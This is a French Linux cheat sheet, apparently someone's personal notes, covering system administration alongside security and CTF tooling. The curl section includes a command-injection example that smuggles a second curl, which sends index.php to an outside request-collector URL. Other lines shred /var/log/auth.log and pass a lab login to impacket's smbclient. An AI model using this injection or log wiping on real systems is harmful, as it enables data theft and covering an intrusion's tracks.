Linux Basics

February 26, 2026 · View on GitHub

Ressources

Authent Centralisée

TechnoDescription
KerberosProtocole d'authentification réseau sécurisé
LDAPService d'annuaire pour stocker les informations d'utilisateurs
FreeIPASolution intégrée pour la gestion des identités et des politiques
SSSDDaemon pour gérer l'accès aux services d'authentification distants
PAM et NSSModules d'authentification et de services de noms

Clavier

setxkbmap fr  #ne marche que lorsque X est lancé
loadkeys fr

Outillage Sécu

Warning

Attention certains outils peuvent être interdit en production et se retourner contre vous en cas de compromission.

# ssh server
apt install openssh-server -y && systemctl enable ssh && systemctl start ssh
# admin tools
snap install curl
snap install codium --classic
apt install -y git binutils net-tools dnsutils chromium-browser wireshark jq yq dislocker
# secu tools
apt install -y nmap ffuf hydra john hashcat sqlmap nikto netcat-openbsd
snap install zaproxy --classic
snap install impacket
snap install amass
apt install -y pipx python3-pip python3-venv
apt install -y bettercap
apt install ettercap-graphical -y && echo 1 | tee /proc/sys/net/ipv4/ip_forward
# wifi
apt install -y aircrack-ng hcxtools hcxdumptool

Pour utiliser un tool python et gérer correctement les dépendances de l'OS il faut utiliser pipx ou les venv.

Exemple avec mitm6

python3 -m venv mitm6-env
source mitm6-env/bin/activate
pip install mitm6
./mitm6-env/bin/mitm6 -i wlp2s0

environnement

env
cat .bashrc
alias
echo $HOME

Disques, Volumes et Montages

MontageOptions recommandéesDescription
/aucuneroot
/bootnosuid,nodev,noexecContiens le noyau et le chargeur de démarrage.
/tmpnosuid,nodev,noexecfichiers temporaires
/homenosuid,nodev,noexecrépertoires utilisateurs
/devaucunepériphériques
/varnosuid,nodev,noexecvariables et logs
lsblk
findmnt
cat /etc/fstab
fdisk -l
findmnt
gparted
df

services

systemctl list-units
systemctl status
systemctl disable ssh.service 
systemctl stop ssh.service 

rpc et sockets

rpcinfo
lsof
ss

trouver des fichiers / binaire

find / -name flag.txt
locate ls
which ls

apt

Lister les paquets

dpkg -l

info sur un paquet

dpkg -l apparmor

les dépôts

cat /etc/apt/sources.list

Lister les clés GPG

apt-key list
apt-key --keyring /etc/apt/trusted.gpg finger

debug Dependences

notamment après l'installation de package (.deb) manuellement (pdkg -i)

apt --fix-broken install
apt-get install --fix-missing
apt-get install --fix-broken

fichiers

lettredescription
-regular file
bblock special file
ccharacter special file
Chigh performance ("contiguous data") file
ddirectory
Ddoor (Solaris 2.5 and up)
lsymbolic link
Moff-line ("migrated") file (Cray DMF)
nnetwork special file (HP-UX)
pFIFO (named pipe)
Pport (Solaris 10 and up)
ssocket
?some other file type
file executable.2772.exe 
objdump -d /usr/bin/sh
strings <exécutables ou l'on cherche des chaines de chars>

intégrité

sha256sum test

hexa

éditeurs sous kali

  • hexeditor
  • bless

mettre du code hexa dans un fichier binaire

xxd -r -p input.hex output.bin

dumper un binaire en hexa

hexdump -C

permissions

id
whoami

permission POSIX

touch test
umask 0077
chmod 700 test
chmod +x test

permission AppArmor

Activé par défaut sous Ubuntu et Snap

aa-status

capabilities (rarement utilisé)

cat /proc/1/status | grep Cap
capsh --decode=0000000000003000

Auditer les permissions

monitorer un répertoire

apt install auditd
systemctl status auditd.service
auditctl -w /home/michael/Downloads/VulnerableLightApp/VulnerableWebApp/ -p xwa -k vulnapp
#auditctl -a always,exit -F dir=/home/michael/Downloads/VulnerableLightApp/VulnerableWebApp/ -F perm=wax
auditctl -l
ausearch -k vulnapp | aureport -f -i

monitorer les utilisateurs

auditctl -a always,exit -S openat -F auid=1000 -k user1000
ausearch -k user1000 | aureport -f -i

Nvidia GPU Hashact

apt install -y ocl-icd-libopencl1 nvidia-driver nvidia-cuda-toolkit
hashcat -I

file explorer Linux

Ouvrir l'explorateur de fichier: xdg-open

runlevel Linux

runlevel 3 au grub

ajouter 3 apres “quiet” dans le GRUB

Archives

Compress file

zip compressed.zip file_name.txt

Compress Folder

zip -r compressed.zip folder_name/

Uncompress zipped file to current directory

unzip compressed.zip

Uncompress zipped to current directory to specific location

unzip compressed.zip -d ~/Documents

Compress a file / folder

tar zcvf compressed.tar.gz folder_name

Uncompress a tar file

tar zxvf compressed.tar.gz

tout détarer

for i in *.tar.gz; do tar -xzvf $i; done

information kernel

dmesg -w

grepper pour chercher une pour identifier une information particulière

dmesg -w | grep -i usb

usb

Ne pas monter la clé ou faire un unmount

dd if=kali-linux-blablabla.iso of=/dev/sdb
dd if=kali-linux-2019.4-amd64.iso of=/dev/sdb bs=512k

ou avec gnome-disks (sudo apt install gnome-disk-utility)

curl

Post exemple

curl -X POST -d name=value http://challenge01.CTF.exemple/web-serveur/ch53/index.php
curl http://admin.academy.htb:31817/admin/admin.php -X POST -d 'id=73' -H 'Content-Type: application/x-www-form-urlencoded'

requestbin exemple

curl -d '{ "name": "Princess Leia" }' \
  -H "Content-Type: application/json" \
  https://enirdd6d0146.x.pipedream.net/

upload data

 curl -d "@data.txt" -X POST http://localhost:3000/data
 exemple avec injection de commande:
 curl -X POST -d 'ip=127.0.0.1%0acurl -X POST -d @index.php https://enzuva1p723tj.x.pipedream.net' http://challenge01.CTF.exemple/web-serveur/ch53/index.php

Certificat non legitime

-k OU --insecure

Effacement avec shred

shred test
find <dir> -type f -exec shred {} \; # suppression recursives
shred -f -n 10 /var/log/auth.log* # change les permissions (-f) et fait 10 passes (-n)

cat in file

$ cat > MyFile
write the text in the console, when done press CTRL+D
Now, if you’ll open MyFile, you’ll se that it contains the text  you’ve entered. Be carefull as if the file you use is not empty, the  content will be erased before adding what you’re writting. 


cat <<EOF > print.sh

Reseau

IP

ip addr add 192.168.1.5/24 dev eth0
ifconfig eth0 192.168.1.5 netmask 255.255.255.0

ip link set eth0 [up|down]
ifconfig wlan0 down

route add default gw 192.168.1.254

Wireless

ifconfig to see details of wireless interfaces iwconfig to only see your wireless interfaces iwlist wlan0 scan to see all the Wi-Fi APs in your area. (Will include key data about each AP) ncmli dev wifi will do the same as above. (Key data) nmcli dev wifi connect AP-ESSID password APpassword to connect to an AP

routage

$ ip route show
Sample output:
192.168.2.0/24 dev eth1 proto kernel  scope link  src 192.168.2.1
192.168.1.0/24 dev eth0  proto kernel  scope link  src 192.168.1.2
default via 192.168.1.254 dev eth0You can add static route using following command:
ip route add {NETWORK} via {IP} dev {DEVICE}
For example network 192.168.55.0/24 available via 192.168.1.254:

$ ip route add 192.168.55.0/24 via 192.168.1.254 dev eth1

# Alternatively, you can use old good route command too:

$ route add -net 192.168.55.0 netmask 255.255.255.0 gw 192.168.1.254 dev eth1

SSH

Ne pas garder les cléfs par défaut sur les serveur ssh des VM téléchargée

cd /etc/ssh/
mkdir default_kali_keys
mv ssh_host_* default_kali_keys/
 
dpkg-reconfigure openssh-server

md5sum ssh_host_*

cd default_kali_keys/
md5sum *

systemctl restart ssh

ssh X11

pour du graphique activer le Forward X11 et

ForwardX11 yes
ForwardX11Trusted no

lancer ssh -X coté client

smbclient

sous xfce

thunar smb://10.10.10.178/Data

impacket

/usr/share/doc/python3-impacket/examples/smbclient.py C.Smith:xRxRxPANCAK3SxRxRx@10.10.10.178

Logs

logcheck

apt-get install logcheck
sudo -u logcheck logcheck -o
sudo -u logcheck logcheck -o > /data/$(date +"%m-%d-%Y-%T").log

pbm de boot

Options intéressantes à ajouter au GRUB (presser "e" au boot ou éditer)

"acpi=off" -> désactive énormément de choses dont la gestion de l'alim et accélération matérielle "nouveau.blacklist=1" -> désactive les drivers nouveaux "nomodeset" -> n'utilise pas les module graphique du kernel durant le boot jusqu'au chargement de X)

Pbm d'écran / compatibilité nouveau /nvidia

  1. booter avec nomodeset ou nouveau.blacklist=1
  2. installer le package nvidia-driver
  3. rebooter (sans options supplémentaires, nouveau sera shooté automatiquement)

pour les problèmes, de driver nvidia cf "Nvidia GPU"

Si freeze: utiliser les tty (ctrl+alt+<1,2,3,4...>) ou démarrer sans interface graphique: cf "runlevel"

modules

To add or a module use

modprobe -a <module name>

To remove a module use

modprobe -r <module name>

Client RDP

rdesktop <server> [ -u username -p password ]